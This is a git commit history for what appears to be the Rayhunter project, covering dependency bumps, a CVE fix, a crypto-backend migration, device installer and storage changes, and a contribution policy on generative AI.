144 Commits

Author SHA1 Message Date
dependabot[bot]
8ae9949b7a Bump the dependency-type group in /daemon/web with 18 updates
Bumps the dependency-type group in /daemon/web with 18 updates:

| Package | From | To |
| --- | --- | --- |
| [@sveltejs/adapter-auto](https://github.com/sveltejs/kit/tree/HEAD/packages/adapter-auto) | `3.3.1` | `7.0.1` |
| [@sveltejs/kit](https://github.com/sveltejs/kit/tree/HEAD/packages/kit) | `2.53.4` | `2.57.1` |
| [@sveltejs/vite-plugin-svelte](https://github.com/sveltejs/vite-plugin-svelte/tree/HEAD/packages/vite-plugin-svelte) | `6.2.1` | `7.0.0` |
| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node) | `24.7.0` | `25.6.0` |
| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.4.21` | `10.5.0` |
| [eslint](https://github.com/eslint/eslint) | `9.37.0` | `10.2.0` |
| [eslint-config-prettier](https://github.com/prettier/eslint-config-prettier) | `9.1.2` | `10.1.8` |
| [eslint-plugin-svelte](https://github.com/sveltejs/eslint-plugin-svelte/tree/HEAD/packages/eslint-plugin-svelte) | `2.46.1` | `3.17.0` |
| [globals](https://github.com/sindresorhus/globals) | `15.15.0` | `17.5.0` |
| [prettier](https://github.com/prettier/prettier) | `3.6.2` | `3.8.3` |
| [prettier-plugin-svelte](https://github.com/sveltejs/prettier-plugin-svelte) | `3.4.0` | `3.5.1` |
| [svelte](https://github.com/sveltejs/svelte/tree/HEAD/packages/svelte) | `5.53.7` | `5.55.4` |
| [svelte-check](https://github.com/sveltejs/language-tools) | `4.3.2` | `4.4.6` |
| [tailwindcss](https://github.com/tailwindlabs/tailwindcss/tree/HEAD/packages/tailwindcss) | `3.4.18` | `4.2.2` |
| [typescript](https://github.com/microsoft/TypeScript) | `5.9.3` | `6.0.2` |
| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.46.0` | `8.58.2` |
| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `7.3.2` | `8.0.8` |
| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `3.2.4` | `4.1.4` |


Updates `@sveltejs/adapter-auto` from 3.3.1 to 7.0.1
- [Release notes](https://github.com/sveltejs/kit/releases)
- [Changelog](https://github.com/sveltejs/kit/blob/main/packages/adapter-auto/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/kit/commits/@sveltejs/adapter-auto@7.0.1/packages/adapter-auto)

Updates `@sveltejs/kit` from 2.53.4 to 2.57.1
- [Release notes](https://github.com/sveltejs/kit/releases)
- [Changelog](https://github.com/sveltejs/kit/blob/main/packages/kit/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/kit/commits/@sveltejs/kit@2.57.1/packages/kit)

Updates `@sveltejs/vite-plugin-svelte` from 6.2.1 to 7.0.0
- [Release notes](https://github.com/sveltejs/vite-plugin-svelte/releases)
- [Changelog](https://github.com/sveltejs/vite-plugin-svelte/blob/main/packages/vite-plugin-svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/vite-plugin-svelte/commits/@sveltejs/vite-plugin-svelte@7.0.0/packages/vite-plugin-svelte)

Updates `@types/node` from 24.7.0 to 25.6.0
- [Release notes](https://github.com/DefinitelyTyped/DefinitelyTyped/releases)
- [Commits](https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node)

Updates `autoprefixer` from 10.4.21 to 10.5.0
- [Release notes](https://github.com/postcss/autoprefixer/releases)
- [Changelog](https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md)
- [Commits](https://github.com/postcss/autoprefixer/compare/10.4.21...10.5.0)

Updates `eslint` from 9.37.0 to 10.2.0
- [Release notes](https://github.com/eslint/eslint/releases)
- [Commits](https://github.com/eslint/eslint/compare/v9.37.0...v10.2.0)

Updates `eslint-config-prettier` from 9.1.2 to 10.1.8
- [Release notes](https://github.com/prettier/eslint-config-prettier/releases)
- [Changelog](https://github.com/prettier/eslint-config-prettier/blob/main/CHANGELOG.md)
- [Commits](https://github.com/prettier/eslint-config-prettier/commits/v10.1.8)

Updates `eslint-plugin-svelte` from 2.46.1 to 3.17.0
- [Release notes](https://github.com/sveltejs/eslint-plugin-svelte/releases)
- [Changelog](https://github.com/sveltejs/eslint-plugin-svelte/blob/main/packages/eslint-plugin-svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/eslint-plugin-svelte/commits/eslint-plugin-svelte@3.17.0/packages/eslint-plugin-svelte)

Updates `globals` from 15.15.0 to 17.5.0
- [Release notes](https://github.com/sindresorhus/globals/releases)
- [Commits](https://github.com/sindresorhus/globals/compare/v15.15.0...v17.5.0)

Updates `prettier` from 3.6.2 to 3.8.3
- [Release notes](https://github.com/prettier/prettier/releases)
- [Changelog](https://github.com/prettier/prettier/blob/main/CHANGELOG.md)
- [Commits](https://github.com/prettier/prettier/compare/3.6.2...3.8.3)

Updates `prettier-plugin-svelte` from 3.4.0 to 3.5.1
- [Changelog](https://github.com/sveltejs/prettier-plugin-svelte/blob/v3.5.1/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/prettier-plugin-svelte/commits/v3.5.1)

Updates `svelte` from 5.53.7 to 5.55.4
- [Release notes](https://github.com/sveltejs/svelte/releases)
- [Changelog](https://github.com/sveltejs/svelte/blob/main/packages/svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/svelte/commits/svelte@5.55.4/packages/svelte)

Updates `svelte-check` from 4.3.2 to 4.4.6
- [Release notes](https://github.com/sveltejs/language-tools/releases)
- [Commits](https://github.com/sveltejs/language-tools/compare/svelte-check@4.3.2...svelte-check@4.4.6)

Updates `tailwindcss` from 3.4.18 to 4.2.2
- [Release notes](https://github.com/tailwindlabs/tailwindcss/releases)
- [Changelog](https://github.com/tailwindlabs/tailwindcss/blob/main/CHANGELOG.md)
- [Commits](https://github.com/tailwindlabs/tailwindcss/commits/v4.2.2/packages/tailwindcss)

Updates `typescript` from 5.9.3 to 6.0.2
- [Release notes](https://github.com/microsoft/TypeScript/releases)
- [Commits](https://github.com/microsoft/TypeScript/compare/v5.9.3...v6.0.2)

Updates `typescript-eslint` from 8.46.0 to 8.58.2
- [Release notes](https://github.com/typescript-eslint/typescript-eslint/releases)
- [Changelog](https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/typescript-eslint/CHANGELOG.md)
- [Commits](https://github.com/typescript-eslint/typescript-eslint/commits/v8.58.2/packages/typescript-eslint)

Updates `vite` from 7.3.2 to 8.0.8
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v8.0.8/packages/vite)

Updates `vitest` from 3.2.4 to 4.1.4
- [Release notes](https://github.com/vitest-dev/vitest/releases)
- [Commits](https://github.com/vitest-dev/vitest/commits/v4.1.4/packages/vitest)

---
updated-dependencies:
- dependency-name: "@sveltejs/adapter-auto"
  dependency-version: 7.0.1
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: "@sveltejs/kit"
  dependency-version: 2.57.1
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: "@sveltejs/vite-plugin-svelte"
  dependency-version: 7.0.0
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: "@types/node"
  dependency-version: 25.6.0
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: autoprefixer
  dependency-version: 10.5.0
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: eslint
  dependency-version: 10.2.0
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: eslint-config-prettier
  dependency-version: 10.1.8
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: eslint-plugin-svelte
  dependency-version: 3.17.0
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: globals
  dependency-version: 17.5.0
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: prettier
  dependency-version: 3.8.3
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: prettier-plugin-svelte
  dependency-version: 3.5.1
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: svelte
  dependency-version: 5.55.4
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: svelte-check
  dependency-version: 4.4.6
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: tailwindcss
  dependency-version: 4.2.2
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: typescript
  dependency-version: 6.0.2
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: typescript-eslint
  dependency-version: 8.58.2
  dependency-type: direct:development
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: vite
  dependency-version: 8.0.8
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
- dependency-name: vitest
  dependency-version: 4.1.4
  dependency-type: direct:development
  update-type: version-update:semver-major
  dependency-group: dependency-type
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-20 07:37:32 +00:00
Brad Warren
bf08066c58 run cargo update tauri --precise 2.10.3 2026-04-16 12:59:04 -07:00
dependabot[bot]
d5f01847fc Bump the dependency-type group in /installer-gui with 18 updates
Dependabot couldn't find the original pull request head commit, ecdd7baeae.
2026-04-16 12:59:04 -07:00
Markus Unterwaditzer
ca30a146b2 Fix clippy for Rust 1.95 2026-04-16 12:31:08 -07:00
Markus Unterwaditzer
a1a29b5ec8 Upgrade rustls-webpki to fix CVE
We have two versions of rustls-webpki in our deptree:

- One used in the ring backend, which we're upgrading here
- One used in the rustcrypto backend, which we can't upgrade and
  therefore have to ignore the CVE anyway.

The ring backend is the one we actually use in release builds.
rustcrypto is only used during development builds to make compilation
simpler.
2026-04-16 10:13:53 -07:00
Markus Unterwaditzer
dc1d193b8e Move from ring to aws-lc-rs
There is some recent progress on quantum computers being discussed on
HackerNews and lobste.rs, and as a result of that timelines for when PQ
crypto would become essentially mandatory are being adjusted. Example:
https://words.filippo.io/crqc-timeline/

We pretty much have only one place in this entire codebase where any
sort of crypto happens, which is HTTPS for notifications support.

It seems that ring has essentially no plans to support PQ crypto for our
purposes. rustls/rustls#2801 briansmith/ring#1685

There's not really a reason to stick with ring, other than that it is a
prod-ready backend. But so is aws-lc-rs, and it seems to be the way
forward if you want PQ crypto today. Maybe that will change again in a
few years.

**The local dev workflow stays the same**, `cargo
build-daemon-firmware-devel` still uses rustcrypto which doesn't require
CC and doesn't have PQ crypto at all. We have no contribution docs for
how to build anything else anyway.

**Implementation:**

This opens a can of worms in building rayhunter-daemon in CI: We're
currently building ring using GCC cross-compilation toolchain from
Debian, which will build ring against **glibc**. Then we take that
library and try to link it against MUSL libc. The reason this works is
because ring's libc usage is very minimal, and the required symbols end
up being just the same as what MUSL libc exposes. The same can't be said
for aws-lc:

```
error: linking with `rust-lld` failed: exit status: 1
    = note: rust-lld: error: undefined symbol: __nanosleep64
            >>> referenced by urandom.c
            >>>               urandom.c.o:(do_backoff) in archive
```

So we fix that and link everything we build against MUSL libc (something
we should've done from the start anyway). The problem is that Debian
doesn't ship a MUSL cross-compilation toolchain, and the toolchain
available on https://musl.cc should not be downloaded directly in CI.
Which leaves us with a docker container from messense... That docker
container seems to be extremely popular for cross compilation across
GitHub projects, at least. I couldn't get other options to run reliably
(cross), or they were a too extreme change for my taste (using zig cc)
2026-04-16 10:12:24 -07:00
dependabot[bot]
11608427bb Bump the dependency-type group in /tools with 4 updates
Bumps the dependency-type group in /tools with 4 updates: [asn1tools](https://github.com/eerimoq/asn1tools), [bitstruct](https://github.com/eerimoq/bitstruct), [pycrate](https://github.com/pycrate-org/pycrate) and [pyparsing](https://github.com/pyparsing/pyparsing).


Updates `asn1tools` from 0.166.0 to 0.167.0
- [Release notes](https://github.com/eerimoq/asn1tools/releases)
- [Commits](https://github.com/eerimoq/asn1tools/compare/0.166.0...0.167.0)

Updates `bitstruct` from 8.19.0 to 8.22.1
- [Commits](https://github.com/eerimoq/bitstruct/compare/8.19.0...8.22.1)

Updates `pycrate` from 0.7.8 to 0.7.11
- [Release notes](https://github.com/pycrate-org/pycrate/releases)
- [Commits](https://github.com/pycrate-org/pycrate/compare/0.7.8...0.7.11)

Updates `pyparsing` from 3.1.2 to 3.3.2
- [Release notes](https://github.com/pyparsing/pyparsing/releases)
- [Changelog](https://github.com/pyparsing/pyparsing/blob/master/CHANGES)
- [Commits](https://github.com/pyparsing/pyparsing/compare/pyparsing_3.1.2...3.3.2)

---
updated-dependencies:
- dependency-name: asn1tools
  dependency-version: 0.167.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: bitstruct
  dependency-version: 8.22.1
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: dependency-type
- dependency-name: pycrate
  dependency-version: 0.7.11
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: dependency-type
- dependency-name: pyparsing
  dependency-version: 3.3.2
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: dependency-type
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-15 11:16:12 -07:00
Markus Unterwaditzer
1bab75830b Use grouped dependabot updates
When there is a CVE in some JS package, it seems to coincide with an
avalanche of security releases of random other packages.

Dependabot can actually create bulk PRs, let's try those.
2026-04-15 20:12:37 +02:00
Markus Unterwaditzer
853ad3763c apply suggestions from code review (github UI is broken) 2026-04-15 10:58:17 -07:00
Markus Unterwaditzer
059a5028d1 Update doc/porting.md
Co-authored-by: Cooper Quintin <cooperq@users.noreply.github.com>
2026-04-15 10:58:17 -07:00
Ember
c1270cc3e9 Suggested edits 2026-04-15 10:58:17 -07:00
Markus Unterwaditzer
e935904204 Add docs for porting to new devices 2026-04-15 10:58:17 -07:00
Cooper Quintin
87975181c1 Update CONTRIBUTING.md
Co-authored-by: Markus Unterwaditzer <markus-tarpit+git@unterwaditzer.net>
2026-04-15 10:57:34 -07:00
Cooper Quintin
c2d8d55296 limit PR to 400 LOC 2026-04-15 10:57:34 -07:00
Jack Lund
188bf812b4 Add notification timeout
Adds a default timeout of 10 seconds for sending notifications so they
don't hang indefinitely. This can happen if the server connected to is
not responding or the case where there's a SIM card in the device, but
it's unactivated so that DNS works but the connection doesn't
2026-04-13 18:17:42 +02:00
dependabot[bot]
ccd96de5cc Bump vite from 6.4.1 to 6.4.2 in /installer-gui
Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 6.4.1 to 6.4.2.
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/v6.4.2/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v6.4.2/packages/vite)

---
updated-dependencies:
- dependency-name: vite
  dependency-version: 6.4.2
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-06 15:41:18 -07:00
dependabot[bot]
a3072a2632 Bump vite from 7.1.11 to 7.3.2 in /daemon/web
Bumps [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) from 7.1.11 to 7.3.2.
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/v7.3.2/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v7.3.2/packages/vite)

---
updated-dependencies:
- dependency-name: vite
  dependency-version: 7.3.2
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-04-07 00:14:54 +02:00
Markus Unterwaditzer
0580a8af33 Revise moxee warning
Ref #865

I think we should still make it clear the Orbic is a better device, but
there's not really any danger anymore.
2026-03-30 15:12:12 -07:00
Markus Unterwaditzer
a80a985b40 Fix wrong docs on key input
We explain in the docs what this key input mode actually does, but it is
named poorly.

ref #952.
2026-03-30 15:11:45 -07:00
Markus Unterwaditzer
228596ef30 Bump tower to 0.5.3
There are no important changes in the new tower version. The only reason
i'm bumping it is because it exposes our mis-configuration of tokio: We
depend on API surface enabled by `io-std`, but don't enable that
feature. Tower 0.5.2 pulls in that feature though, and our code works
anyway. Tower 0.5.3 no longer requires this feature and our code stops
compiling.
2026-03-30 15:10:59 -07:00
Markus Unterwaditzer
a7409b281b Move config form to modal
It's pretty annoying to have to scroll past all the old recordings to
be able to set the config. Since logs we already have figured out how to
create modals, so let's reuse that code.
2026-03-30 15:10:12 -07:00
dependabot[bot]
6a57bdebc4 Bump picomatch from 2.3.1 to 2.3.2 in /installer-gui
Bumps [picomatch](https://github.com/micromatch/picomatch) from 2.3.1 to 2.3.2.
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/2.3.1...2.3.2)

---
updated-dependencies:
- dependency-name: picomatch
  dependency-version: 2.3.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-26 14:14:11 +01:00
dependabot[bot]
7cb405c465 Bump picomatch from 2.3.1 to 2.3.2 in /daemon/web
Bumps [picomatch](https://github.com/micromatch/picomatch) from 2.3.1 to 2.3.2.
- [Release notes](https://github.com/micromatch/picomatch/releases)
- [Changelog](https://github.com/micromatch/picomatch/blob/master/CHANGELOG.md)
- [Commits](https://github.com/micromatch/picomatch/compare/2.3.1...2.3.2)

---
updated-dependencies:
- dependency-name: picomatch
  dependency-version: 2.3.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-26 14:14:09 +01:00
Ember
bada3846dc Get rid of the 'verify' which is flakey 2026-03-26 11:44:23 +01:00
Ember
f0849340cf Improve Moxee/orbic Wingtech/tmobile installers for network stability 2026-03-26 11:44:23 +01:00
Terence
512cf784a7 provide additional info to help users set up for frontend dev environment (#917) 2026-03-25 20:09:24 +01:00
dependabot[bot]
100960bbe1 Bump flatted from 3.3.3 to 3.4.2 in /installer-gui
Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.3 to 3.4.2.
- [Commits](https://github.com/WebReflection/flatted/compare/v3.3.3...v3.4.2)

---
updated-dependencies:
- dependency-name: flatted
  dependency-version: 3.4.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-22 14:03:42 +01:00
dependabot[bot]
9d275e1793 Bump flatted from 3.3.3 to 3.4.2 in /daemon/web
Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.3 to 3.4.2.
- [Commits](https://github.com/WebReflection/flatted/compare/v3.3.3...v3.4.2)

---
updated-dependencies:
- dependency-name: flatted
  dependency-version: 3.4.2
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-22 13:08:45 +01:00
dependabot[bot]
fd190c4b75 Bump quinn-proto from 0.11.12 to 0.11.14
Bumps [quinn-proto](https://github.com/quinn-rs/quinn) from 0.11.12 to 0.11.14.
- [Release notes](https://github.com/quinn-rs/quinn/releases)
- [Commits](https://github.com/quinn-rs/quinn/compare/quinn-proto-0.11.12...quinn-proto-0.11.14)

---
updated-dependencies:
- dependency-name: quinn-proto
  dependency-version: 0.11.14
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-16 15:55:12 +01:00
dependabot[bot]
ff838c41fa Bump devalue from 5.6.3 to 5.6.4 in /daemon/web
Bumps [devalue](https://github.com/sveltejs/devalue) from 5.6.3 to 5.6.4.
- [Release notes](https://github.com/sveltejs/devalue/releases)
- [Changelog](https://github.com/sveltejs/devalue/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/devalue/compare/v5.6.3...v5.6.4)

---
updated-dependencies:
- dependency-name: devalue
  dependency-version: 5.6.4
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-12 11:25:27 -07:00
dependabot[bot]
a031e8ccfc Bump devalue from 5.6.3 to 5.6.4 in /installer-gui
Bumps [devalue](https://github.com/sveltejs/devalue) from 5.6.3 to 5.6.4.
- [Release notes](https://github.com/sveltejs/devalue/releases)
- [Changelog](https://github.com/sveltejs/devalue/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/devalue/compare/v5.6.3...v5.6.4)

---
updated-dependencies:
- dependency-name: devalue
  dependency-version: 5.6.4
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-12 11:13:04 -07:00
Brad Warren
a6f5faa80e wrap report in $derived 2026-03-04 15:44:35 -08:00
dependabot[bot]
43f1dfce64 Bump svelte from 5.39.10 to 5.53.6 in /daemon/web
Bumps [svelte](https://github.com/sveltejs/svelte/tree/HEAD/packages/svelte) from 5.39.10 to 5.53.6.
- [Release notes](https://github.com/sveltejs/svelte/releases)
- [Changelog](https://github.com/sveltejs/svelte/blob/main/packages/svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/svelte/commits/svelte@5.53.6/packages/svelte)

---
updated-dependencies:
- dependency-name: svelte
  dependency-version: 5.53.6
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-04 15:44:35 -08:00
dependabot[bot]
54adaf913d Bump @sveltejs/kit from 2.49.5 to 2.53.0 in /daemon/web
Bumps [@sveltejs/kit](https://github.com/sveltejs/kit/tree/HEAD/packages/kit) from 2.49.5 to 2.53.0.
- [Release notes](https://github.com/sveltejs/kit/releases)
- [Changelog](https://github.com/sveltejs/kit/blob/main/packages/kit/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/kit/commits/@sveltejs/kit@2.53.0/packages/kit)

---
updated-dependencies:
- dependency-name: "@sveltejs/kit"
  dependency-version: 2.53.0
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-03 15:29:21 -08:00
dependabot[bot]
ab418ecc84 Bump devalue from 5.6.2 to 5.6.3 in /daemon/web
Bumps [devalue](https://github.com/sveltejs/devalue) from 5.6.2 to 5.6.3.
- [Release notes](https://github.com/sveltejs/devalue/releases)
- [Changelog](https://github.com/sveltejs/devalue/blob/main/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/devalue/compare/v5.6.2...v5.6.3)

---
updated-dependencies:
- dependency-name: devalue
  dependency-version: 5.6.3
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-03 15:25:20 -08:00
dependabot[bot]
2fd028dc78 Bump rollup from 4.52.4 to 4.59.0 in /daemon/web
Bumps [rollup](https://github.com/rollup/rollup) from 4.52.4 to 4.59.0.
- [Release notes](https://github.com/rollup/rollup/releases)
- [Changelog](https://github.com/rollup/rollup/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rollup/rollup/compare/v4.52.4...v4.59.0)

---
updated-dependencies:
- dependency-name: rollup
  dependency-version: 4.59.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-03 15:21:42 -08:00
dependabot[bot]
d413840c08 Bump minimatch in /daemon/web
Bumps  and [minimatch](https://github.com/isaacs/minimatch). These dependencies needed to be updated together.

Updates `minimatch` from 3.1.2 to 3.1.5
- [Changelog](https://github.com/isaacs/minimatch/blob/main/changelog.md)
- [Commits](https://github.com/isaacs/minimatch/compare/v3.1.2...v3.1.5)

Updates `minimatch` from 9.0.5 to 9.0.9
- [Changelog](https://github.com/isaacs/minimatch/blob/main/changelog.md)
- [Commits](https://github.com/isaacs/minimatch/compare/v3.1.2...v3.1.5)

---
updated-dependencies:
- dependency-name: minimatch
  dependency-version: 3.1.5
  dependency-type: indirect
- dependency-name: minimatch
  dependency-version: 9.0.9
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-03 15:20:51 -08:00
Markus Unterwaditzer
2f1b583e00 orbic-network: Disable connection pooling
Every once in a while, I get the error posted in #901:

    Caused by:
        0: Failed to send login request
        1: error sending request
        2: client error (SendRequest)
        3: connection closed before message completed

(either this or "failed to start telnet" -- in either case there's a
request happening before it, and it's always "connection closed before
message completed")

Disabling connection pooling seems to reduce the amount of flakiness.

Here is what I used to test this fix:

    while echo | cargo run -p installer util orbic-shell --admin-password 96df5476 ; do true; done

Usually it would stop <100 iterations, now it can do 800+ iterations.
2026-03-03 10:59:42 -08:00
dependabot[bot]
adeeb75166 Bump minimatch in /installer-gui
Bumps  and [minimatch](https://github.com/isaacs/minimatch). These dependencies needed to be updated together.

Updates `minimatch` from 3.1.2 to 3.1.5
- [Changelog](https://github.com/isaacs/minimatch/blob/main/changelog.md)
- [Commits](https://github.com/isaacs/minimatch/compare/v3.1.2...v3.1.5)

Updates `minimatch` from 9.0.5 to 9.0.9
- [Changelog](https://github.com/isaacs/minimatch/blob/main/changelog.md)
- [Commits](https://github.com/isaacs/minimatch/compare/v3.1.2...v3.1.5)

---
updated-dependencies:
- dependency-name: minimatch
  dependency-version: 3.1.5
  dependency-type: indirect
- dependency-name: minimatch
  dependency-version: 9.0.9
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-02 12:07:03 -08:00
dependabot[bot]
4ca23f37c3 Bump rollup from 4.52.5 to 4.59.0 in /installer-gui
Bumps [rollup](https://github.com/rollup/rollup) from 4.52.5 to 4.59.0.
- [Release notes](https://github.com/rollup/rollup/releases)
- [Changelog](https://github.com/rollup/rollup/blob/master/CHANGELOG.md)
- [Commits](https://github.com/rollup/rollup/compare/v4.52.5...v4.59.0)

---
updated-dependencies:
- dependency-name: rollup
  dependency-version: 4.59.0
  dependency-type: indirect
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-02 12:06:24 -08:00
dependabot[bot]
15b80ecdd5 Bump svelte from 5.53.0 to 5.53.6 in /installer-gui
Bumps [svelte](https://github.com/sveltejs/svelte/tree/HEAD/packages/svelte) from 5.53.0 to 5.53.6.
- [Release notes](https://github.com/sveltejs/svelte/releases)
- [Changelog](https://github.com/sveltejs/svelte/blob/main/packages/svelte/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/svelte/commits/svelte@5.53.6/packages/svelte)

---
updated-dependencies:
- dependency-name: svelte
  dependency-version: 5.53.6
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-03-02 12:03:39 -08:00
Lawrence Kwan
c5de9b045a fix: fix typo in connection error message
Change 'do loss' to 'due to loss' in the connection error message.

Fixes #864
2026-02-26 14:19:09 -08:00
oopsbagel
37283deddb CONTRIBUTING: add genai policy with links 2026-02-24 14:45:28 -08:00
oopsbagel
49d7bbca34 pr templates: add checkboxes for our genai policy
This commit introduces checkboxes where users can certify that either
they did not use generative AI to create their pull request, or that
they did but they understand the code and wrote all comments and
descriptions themselves, per our recently publicised open source policy.
2026-02-24 14:45:28 -08:00
Will Greenberg
a4c32f49ae also bump installer-guis version 2026-02-24 14:25:45 -08:00
Will Greenberg
ec30a9557c bump to v10.2 2026-02-24 14:19:08 -08:00
Markus Unterwaditzer
a7d38730f5 fix botched rebase 2026-02-24 13:42:31 -08:00
Markus Unterwaditzer
d9facdf6cb add one missing single quote 2026-02-24 13:42:31 -08:00
Markus Unterwaditzer
90f49f73c8 slightly better escaping for user input 2026-02-24 13:42:31 -08:00
Markus Unterwaditzer
8aa45f4b53 better errorhandling 2026-02-24 13:42:31 -08:00
Markus Unterwaditzer
d8da6118da Update installer/src/lib.rs
Co-authored-by: Will Greenberg <willg@eff.org>
2026-02-24 13:42:31 -08:00
Markus Unterwaditzer
3e38f500a9 Install to /cache/rayhunter-data for tplink, add --data-dir parameter
This fixes several space-related issues at once.

We have observed the following phenomenon on TP-Link, Orbic and Moxee:

- Filling /data bricks the device (broken wifi, broken rndis, broken
  display)

- Filling /cache does not (it only bricks rayhunter if it's installed
  there, and it might break firmware updates)

Therefore it would make sense to store the entire rayhunter installation
in /cache.

This is a great idea for TP-Link and Moxee, because /cache is
significantly larger than /data. However, on Orbic, /data is
significantly larger than /cache!

This PR refactors orbic-network and tplink to use a shared codepath for
setting up the data directory. A symlink is created at /data/rayhunter,
and what it points to is device-specific:

- Orbic will have its data at `/data/rayhunter-data`

- There is a new alias `installer moxee` that overrides this to
  `/cache/rayhunter-data`

- TP-Link will have its data at /cache/rayhunter-data when there's no SD
  card, and /media/whatever when there is one.

In all cases, existing data is migrated to the new location. The user
can switch back and forth between two values of --data-dir and the data
will be moved over every time.

This PR has one huge wart, and that is that the USB installer for Orbic
remains untouched. The annoying reason for this is that the
DeviceConnection trait is insufficient to reflect all the different
kinds of shells you can have over USB: adb with fakeroot, and serial
with real root. I think it's not possible to create the right
directories with 'rootshell -c'.

I'm thinking of spawning a telnet server over serial, so that we can
just do telnet again, but this is for another time.
2026-02-24 13:42:31 -08:00
dependabot[bot]
83664e23f2 Bump @sveltejs/kit from 2.50.1 to 2.53.0 in /installer-gui
Bumps [@sveltejs/kit](https://github.com/sveltejs/kit/tree/HEAD/packages/kit) from 2.50.1 to 2.53.0.
- [Release notes](https://github.com/sveltejs/kit/releases)
- [Changelog](https://github.com/sveltejs/kit/blob/main/packages/kit/CHANGELOG.md)
- [Commits](https://github.com/sveltejs/kit/commits/@sveltejs/kit@2.53.0/packages/kit)

---
updated-dependencies:
- dependency-name: "@sveltejs/kit"
  dependency-version: 2.53.0
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <support@github.com>
2026-02-23 16:41:36 -08:00
dependabot[bot]
